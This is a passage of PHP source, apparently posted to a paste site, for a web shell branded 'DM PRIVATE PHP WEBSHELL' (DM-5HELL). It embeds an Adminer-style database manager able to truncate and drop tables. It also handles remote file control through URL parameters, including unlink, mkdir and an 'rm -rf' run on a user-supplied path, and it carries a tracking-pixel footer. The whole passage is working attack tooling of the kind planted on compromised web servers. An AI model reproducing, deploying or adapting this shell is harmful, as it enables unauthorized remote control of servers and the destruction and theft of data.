- queries_redirect(substr(ME, 0, -1),$pe,$I);
- }
- page_header(($_GET["ns"]==""?'Database'.": ".h(DB):'Schema'.": ".h($_GET["ns"])),$n, true);
- if($b->homepage()) {
- if($_GET["ns"]!=="") {
- echo "<h3 id='tables-views'>".'Tables and views'."</h3>\n";
- $ih=tables_list();
- if(!$ih)
- echo "<p class='message'>".'No tables.'."\n";
- else {
- echo "<form action='' method='post'>\n";
- if(support("table")) {
- echo "<fieldset><legend>".'Search data in tables'." <span id='selected2'></span></legend><div>","<input type='text' name='query' value='".h($_POST["query"])."'> <input type='submit' name='search' value='".'Search'."'>\n","</div></fieldset>\n";
- if($_POST["search"]&&$_POST["query"]!="")
- search_tables();
- }
- $Tb=doc_link(array('sql'=>'show-table-status.html'));
- echo "<table id='menustable' border='1' cellspacing='0' class='nowrap checkable' onclick='tableClick(event);' ondblclick='tableClick(event, true);'>\n",'<thead><tr class="wrap"><td>
- <input id="check-all" type="checkbox" onclick="formCheck(this, /^(tables|views)\[/);" class="js only">','<td>'.'Table','<td>'.'Engine'.
- doc_link(array('sql'=>'storage-engines.html')), '<td>'.'Collation'.
- doc_link(array('sql'=>'charset-mysql.html')), '<td>'.'Data Length'.$Tb, '<td>'.'Index Length'.$Tb, '<td>'.'Data Free'.$Tb, '<td>'.'Auto Increment'.
- doc_link(array('sql'=>'example-auto-increment.html')), '<td>'.'Rows'.$Tb, (support("comment")?'<td>'.'Comment'.$Tb:''), "</thead>\n";
- $T=0;
- foreach($ih as $C=>$U) {
- $ki=($U!==null&&!preg_match('~table~i',$U));
- $t=h("Table-".$C);
- echo '<tr'.odd().'><td>'.checkbox(($ki?"views[]":"tables[]"),$C, in_array($C,$jh, true), "","formUncheck('check-all');","",$t), '<td>'.(support("table")||support("indexes")?"<a href='".h(ME)."table=".urlencode($C)."' title='".'Show structure'."' id='$t'>".h($C).'</a>':h($C));
- if($ki) {
- echo '<td colspan="6"><a href="'.h(ME)."view=".urlencode($C).'" title="'.'Alter view'.'">'.(preg_match('~materialized~i',$U)?'Materialized view':'View').'</a>','<td align="right"><a href="'.h(ME)."select=".urlencode($C).'" title="'.'Select data'.'">?</a>';
- }else{
- foreach(array("Engine"=>array(),"Collation"=>array(),"Data_length"=>array("create",'Alter table'),"Index_length"=>array("indexes",'Alter indexes'),"Data_free"=>array("edit",'New item'),"Auto_increment"=>array("auto_increment=1&create",'Alter table'),"Rows"=>array("select",'Select data')) as $y=>$_) {
- $t=" id='$y-".h($C)."'";
- echo ($_?"<td align='right'>".(support("table")||$y=="Rows"||(support("indexes")&&$y!="Data_length")?"<a href='".h(ME."$_[0]=").urlencode($C)."'$t title='$_[1]'>?</a>":"<span$t>?</span>"):"<td id='$y-".h($C)."'> ");
- }
- $T++;
- }
- echo (support("comment")?"<td id='Comment-".h($C)."'> ":"");
- }
- echo "<tr><td> <td>".sprintf('%d in total', count($ih)), "<td>".nbsp($x=="sql"?$g->result("SELECT @@storage_engine"):""), "<td>".nbsp(db_collation(DB, collations()));
- foreach(array("Data_length","Index_length","Data_free") as $y)
- echo "<td align='right' id='sum-$y'> ";
- echo "</table>\n";
- if(!information_schema(DB)) {
- $ei="<input type='submit' value='".'Vacuum'."'".on_help("'VACUUM'")."> ";
- $We="<input type='submit' name='optimize' value='".'Optimize'."'".on_help($x=="sql"?"'OPTIMIZE TABLE'":"'VACUUM OPTIMIZE'")."> ";
- echo "<fieldset><legend>".'Selected'." <span id='selected'></span></legend><div>".($x=="sqlite"?$ei:($x=="pgsql"?$ei.$We:($x=="sql"?"<input type='submit' value='".'Analyze'."'".on_help("'ANALYZE TABLE'")."> ".$We."<input type='submit' name='check' value='".'Check'."'".on_help("'CHECK TABLE'")."> "."<input type='submit' name='repair' value='".'Repair'."'".on_help("'REPAIR TABLE'")."> ":"")))."<input type='submit' name='truncate' value='".'Truncate'."'".confirm().on_help($x=="sqlite"?"'DELETE'":"'TRUNCATE".($x=="pgsql"?"'":" TABLE'"))."> "."<input type='submit' name='drop' value='".'Drop'."'".confirm().on_help("'DROP TABLE'").">\n";
- $l=(support("scheme")?$b->schemas():$b->databases());
- if(count($l)!=1&&$x!="sqlite") {
- $m=(isset($_POST["target"])?$_POST["target"]:(support("scheme")?$_GET["ns"]:DB));
- echo "<p>".'Move to other database'.": ",($l?html_select("target",$l,$m):'<input type="text" name="target" value="'.h($m).'" autocapitalize="off">'), " <input type='submit' name='move' value='".'Move'."'>",(support("copy")?" <input type='submit' name='copy' value='".'Copy'."'>":""), "\n";
- }
- echo "<input type='hidden' name='all' value='' onclick=\"selectCount('selected', formChecked(this, /^(tables|views)\[/));".(support("table")?" selectCount('selected2', formChecked(this, /^tables\[/) || $T);":"")."\">\n";
- echo "<input type='hidden' name='token' value='$Ah'>\n","</div></fieldset>\n";
- }
- echo "</form>\n","<script type='text/javascript'>tableCheck();</script>\n";
- }
- echo '<p class="links"><a href="'.h(ME).'create=">'.'Create table'."</a>\n",(support("view")?'<a href="'.h(ME).'view=">'.'Create view'."</a>\n":"");
- if(support("routine")) {
- echo "<h3 id='routines'>".'Routines'."</h3>\n";
- $qg=routines();
- if($qg) {
- echo "<table id='menustable' cellspacing='0' border='1'>\n",'<thead><tr><td>'.'Name'.'<td>'.'Type'.'<td>'.'Return type'."<td> </thead>\n";
- odd('');
- foreach($qg as $K) {
- echo '<tr'.odd().'>','<td><a href="'.h(ME).($K["ROUTINE_TYPE"]!="PROCEDURE"?'callf=':'call=').urlencode($K["ROUTINE_NAME"]).'">'.h($K["ROUTINE_NAME"]).'</a>','<td>'.h($K["ROUTINE_TYPE"]), '<td>'.h($K["DTD_IDENTIFIER"]), '<td><a href="'.h(ME).($K["ROUTINE_TYPE"]!="PROCEDURE"?'function=':'procedure=').urlencode($K["ROUTINE_NAME"]).'">'.'Alter'."</a>";
- }
- echo "</table>\n";
- }
- echo '<p class="links">'.(support("procedure")?'<a href="'.h(ME).'procedure=">'.'Create procedure'.'</a>':'').'<a href="'.h(ME).'function=">'.'Create function'."</a>\n";
- }
- if(support("sequence")) {
- echo "<h3 id='sequences'>".'Sequences'."</h3>\n";
- $Cg=get_vals("SELECT sequence_name FROM information_schema.sequences WHERE sequence_schema = current_schema() ORDER BY sequence_name");
- if($Cg) {
- echo "<table id='menustable' cellspacing='0' border='1'>\n","<thead><tr><td>".'Name'."</thead>\n";
- odd('');
- foreach($Cg as $X)
- echo "<tr".odd()."><td><a href='".h(ME)."sequence=".urlencode($X)."'>".h($X)."</a>\n";
- echo "</table>\n";
- }
- echo "<p class='links'><a href='".h(ME)."sequence='>".'Create sequence'."</a>\n";
- }
- if(support("type")) {
- echo "<h3 id='user-types'>".'User types'."</h3>\n";
- $ci=types();
- if($ci) {
- echo "<table id='menustable' cellspacing='0' border='1'>\n","<thead><tr><td>".'Name'."</thead>\n";
- odd('');
- foreach($ci as $X)
- echo "<tr".odd()."><td><a href='".h(ME)."type=".urlencode($X)."'>".h($X)."</a>\n";
- echo "</table>\n";
- }
- echo "<p class='links'><a href='".h(ME)."type='>".'Create type'."</a>\n";
- }
- if(support("event")) {
- echo "<h3 id='events'>".'Events'."</h3>\n";
- $L=get_rows("SHOW EVENTS");
- if($L) {
- echo "<table id='menustable' cellspacing='0' border='1'>\n","<thead><tr><td>".'Name'."<td>".'Schedule'."<td>".'Start'."<td>".'End'."<td></thead>\n";
- foreach($L as $K) {
- echo "<tr>","<td>".h($K["Name"]), "<td>".($K["Execute at"]?'At given time'."<td>".$K["Execute at"]:'Every'." ".$K["Interval value"]." ".$K["Interval field"]."<td>$K[Starts]"), "<td>$K[Ends]",'<td><a href="'.h(ME).'event='.urlencode($K["Name"]).'">'.'Alter'.'</a>';
- }
- echo "</table>\n";
- $sc=$g->result("SELECT @@event_scheduler");
- if($sc&&$sc!="ON")
- echo "<p class='error'><span class='jush-sqlset'>event_scheduler</span>: ".h($sc)."\n";
- }
- echo '<p class="links"><a href="'.h(ME).'event=">'.'Create event'."</a>\n";
- }
- if($ih)
- echo "<script type='text/javascript'>ajaxSetHtml('".js_escape(ME)."script=db');</script>\n";
- }
- }
- }
- echo'</table></center><br /><br />';
- //phpmyadmin
- }else{
- if(isset($_GET['delete']) && ($_GET['delete'] != "")){
- $file=$_GET['delete'];
- if(unlink($file)){
- }else{
- palbtn($file);
- }
- }elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != "")){
- $fdir=$_GET['fdelete'];
- if(delete_option($fdir)){
- }elseif(exe('rm -rf '.$fdir)){
- }else{
- palbtn($fdir);
- }
- }elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != "")){
- mkdir($pwd.$_GET['mkdir']);
- }
- $buff=showdir($pwd,$prompt);
- echo $buff;
- }
- echo'
- <!-- DM-5HELL FOOTER -->
- <div align="center">
- <br>
- <!-- DM-5HELL -->
- <br>
- <table class="tabnet" style="width:700px;border:1px solid #0f0">
- <tr><td align="center" colspan="2">
- <span style="color:#0f0">WE DO IT WE WANT BECAUSE WE CAN</span>
- </td></tr>
- <tr><td align="center" colspan="2">
- <span style="color:#0f0">DM PRIVATE PHP WEBSHELL © 2014 </span>
- </td></tr>
- <tr><td align="center" colspan="2"><span style="color:#0f0"><img src="//sstatic1.histats.com/0.gif?3522913&101"><script>Y=new Date;var dm=Y.getUTCFullYear();document.write("Copyright © 2014 - "+dm)</script></span></td></tr>
- </table><br><br>
- <!-- DM-5HELL -->
- </div>
- </div>
- </body>
- </html>';
- ob_end_flush();
- ?>
Add Comment
Please, Sign In to add comment